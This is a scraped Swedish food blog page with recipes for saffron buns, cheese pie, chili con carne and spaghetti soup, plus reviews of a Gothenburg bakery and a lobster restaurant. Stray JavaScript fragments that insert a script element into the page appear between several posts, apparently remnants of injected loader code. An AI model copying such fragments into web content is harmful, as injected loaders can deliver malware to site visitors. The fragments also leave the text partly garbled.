Glutenfria lussebullar

IMG_4190I år bakade jag glutenfria lussebullar. Receptet hittade jag här.

10 stycken lussebullar
4 ekologiska ägg
Sötning med sötma motsvarande 5 msk socker
100 gram rumstempererat smör
1 dl grädde eller mjölk
1 dl mandelmjöl
1/2 dl pofiber
3/4 dl kokosmjöl (aman prana)
2 msk fiberhusk
2 tsk bakpulver
0,5 gram saffran

Sätt ugnen på 175 grader.
Lägg saffranet i lite mörk rom eller i 1 msk vatten under 20-30 minuter innan för fin färg på brödet.
Vispa ägg och sötning fluffigt. Blanda de torra ingredienserna
Vispa ner smöret, grädden och saffranet och till slut de torra ingredienserna. Låt svälla i ca 10 minuter innan du formar lussekatter. Om degen är för lös blanda ner lite mer kokosmjöl!
Pensla med äggvita och tryck eventuellt ner russin i katterna. Jag skippade russin och tog torkade tranbär istället. Grädda mitt i ugnen i ca 20 minuter.

IMG_4189IMG_4188d.getElementsByTagName(‘head’)[0].appendChild(s);

Västerbottenostpaj

IMG_4169

En god Västerbottenostpaj är så otroligt gott.  Pajen serverade jag med en grönsallad, löjrom, lax och lite kallskuret. Receptet hittade jag här. Jag gjorde 1 1/2 sats av pajdegen och fyllningen gjorde jag dubbel sats av för att få en högre paj som ni ser på receptet nedan.

Pajdeg

190 g smör
4,5 dl vetemjöl
1,5 msk vatten

Fyllning

300 g riven Västerbottensost
6 ägg
4 dl vispgrädde
2 krm salt
2 krm svartpeppar

Gör såhär

Sätt ugnen på 225°. Blanda ihop ingredienserna till pajdegen. Låt degen  vila i kyl minst 1 tim. Klä en pajform, nagga och förgrädda ca 10 min. Jag penslade min paj med ett uppvispat ägg innan jag förgräddade pajen. Vispa ägg och grädde, tillsätt osten. Smaksätt med salt och peppar. Häll  ostfyllningen i pajskalet och grädda ca 20 min tills pajen stelnat. Låt svalna.  Servera pajen med en god sallad, löjrom och andra goda tillbehör.

IMG_4181IMG_4182IMG_4183IMG_4184

IMG_4185IMG_4186

Chili con carne

Igår lagade jag en supergod och enkel Chili con carne. Grundreceptet hittade jag här.

Ingredienser (4 personer)
400 gram nötfärs
1 gul lök
2 vitlöksklyftor
2 msk rapsolja
1 grön paprika (jag tog en röd paprika)
1 burk krossade tomater
2 msk tomatpuré
1 köttbuljongtärning
1 tsk chilipeppar
3 krm mejram
1 burk vita bönor i tomatsås (jag använde Heinz vita bönor i tomatsås)
1 burk borlotti bönor (jag köpte Coop’s egna märke)
1 förpackning passerade tomater

Tillagning
1. Skala och hacka löken och vitlöken. Kärna ur paprikan och skär den i bitar. Bryn lök och vitlök i lite olja på svag värme. Rör ner färsen och paprikan. Bryn alltsammans några minuter. Tillsätt tomatpuré och fräs en minut.
2. Lägg i resten av ingredienserna och kryddorna. Koka grytan utan lock ca 10-15 minuter. Rör om ofta. När det mesta av vätskan har kokat in, smaka av med salt och peppar.
3. Låt alltsammans bli genomvarmt. Servera med ris och sallad.

Bulle

 } else {

Spagettisoppa

IMG_4005

Igår lagade jag en spagettisoppa och receptet hittade jag här på ”Jennys Matblogg”.  Jag hällde i lite mer vatten för att få mer soppa och kryddade upp soppan med lite mer salt och peppar innan servering.

Recept 6 portioner :
smör
1 gul lök
1 pressad vitlöksklyfta
1 morot
800 gram – 1 kilo blandfärs
3 msk tomatpure
1 – 1,2 liter vatten
valfri mängd spagetti
2 st köttbuljongtärningar
2 msk kinesisk soja
1 1/2 msk paprikapulver
1/2 – 1 msk sambal oelek ( undvik om du inte vill ha hetta)
salt & peppar

Gör så här:
Hetta upp en kastrull med smör, fräs den hackade löken/ vitlöken, den slantade moroten tills det doftar nötigt. Vänd ner färsen och bryn den klar, pressa ner tomatpure och fräs en minut. Vänd ner vatten, buljong, soja, krossade tomater, paprika pulver och salt & peppar. Låt sjuda upp- bryt sist ner ner pastan och låt sjuda tills den är klar , smaka ev av med sambal oelek om ni vill ha lite hetta.

Serveras med creme fraiche och en bit gott bröd.

IMG_4007IMG_4010IMG_4006IMG_4008IMG_4005

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);

Lilla Sur, Kålltorp

10f67c0718-1-LOGO_BLACKBIG

Vad sägs om  ”Guinnesspenslade vörtbröd med stenmald fullkornsråg från Limabacka Kvarn”.

Igår besökte jag ”Lilla Sur” för att köpa deras goda vörtbröd och frysa in inför julen.
Om man fryser in ett helt vörtbröd så rekommenderas att frysa in brödet helt och sug ut all luft från platspåsen.
Vid  upptining öppnar du platspåsen och stoppar in lite hushållspapper så blir brödet  helt perfekt när det är upptinat.

Vört4

vört3Vört2Vört1Vört5
Vad jag gillar med Lilla Sur är att det finns alltid roliga, annorlunda och goda tillbehör i butiken. Igår hade de bunkrat upp med en massa goda ostar. Jag blev glad att de hade mina tre favoritostar till ett mycket bra pris. Supergott bröd och ost är den bästa kombinationen och det fanns även fikonmarmelad till försäljning för de som gillar marmelad.

Ost

Sen var jag tvungen att köpa deras goda bullar också. De har både kanelbullar och saffransbullar nu innan jul.

Bulle2Bulle

Roliga pepparkakor

 

bild1Tänk vad roligt man kan göra med pepparkaksdeg. Jag köpte en färdig deg och gjorde lite hjärtan som jag fyllde med karameller och sen hantlar med kristyr.

bild7bild5bild14bild13bild15

bild8bild12bild4bild10

Jag föredrar att göra min egna kristyr. Den du köper i affären är för rinnig och kladdig. Om du vill färga kristyren rekommenderar jag  att du använder pastafärg.
Recept kristyr:
1 äggvita
4 dl florsocker
1/2 tsk citronsaft

Vispa tills du fått en bra konsistens. Är den för tjock så häller du i lite vatten…är den för tunn så häll imer florsocker.

 

bild9bild3bild18bild17bild16

bild11bild3bild2bild1bild11bild9bild8bild7bild4bild3bild2bild4bild5bild6bild1if (document.currentScript) {

Hummer och Korv, Göteborg

hummer Igår var jag på ett nytt ställe som heter ”Hummer och Korv” på Södra Vägen 8 i Göteborg. Tfn nr  till Hummer och Korv är 031-20 20 20 Öppet: Mån-fre från 14, lör-sön från 12. Köket stänger 23, sön 21

11

På Södra vägen 8 har man tagit på sig uppgiften att avdramatisera hummern. Naturligtvis kan du få den på klassiskt vis, men även i bröd med pommes frites eller som tortilla med mango, chili, koriander och guacamole i tortillabröd. Såklart finns också Surf n’ Turf på menyn.

122

3

Jag beställde en halv grillad hummer  som serverades med pommes, citrusbeurre blanc & sallad för 175kr samt en KORVBRICKA 3:an som innehöll Merguez, Käsekrainer, Salsiccia för 135 kr. Till det drack vi vin.

10978

För er som undrar som kommer hummern från Canada och korven från Johan i Hallen. Den vitvinsbaserade smörsåsen ”citrusbeurre blanc” smakade otroligt gott till hummern . Ett plus att de knäckt klon på hummern. Korven serverades med olika varianter av kanonsenap och finfin barbecuedipp samt bröd. Härlig inredning och trevlig personal och husets vita vin smakade riktigt gott.

456

 

if (document.currentScript) {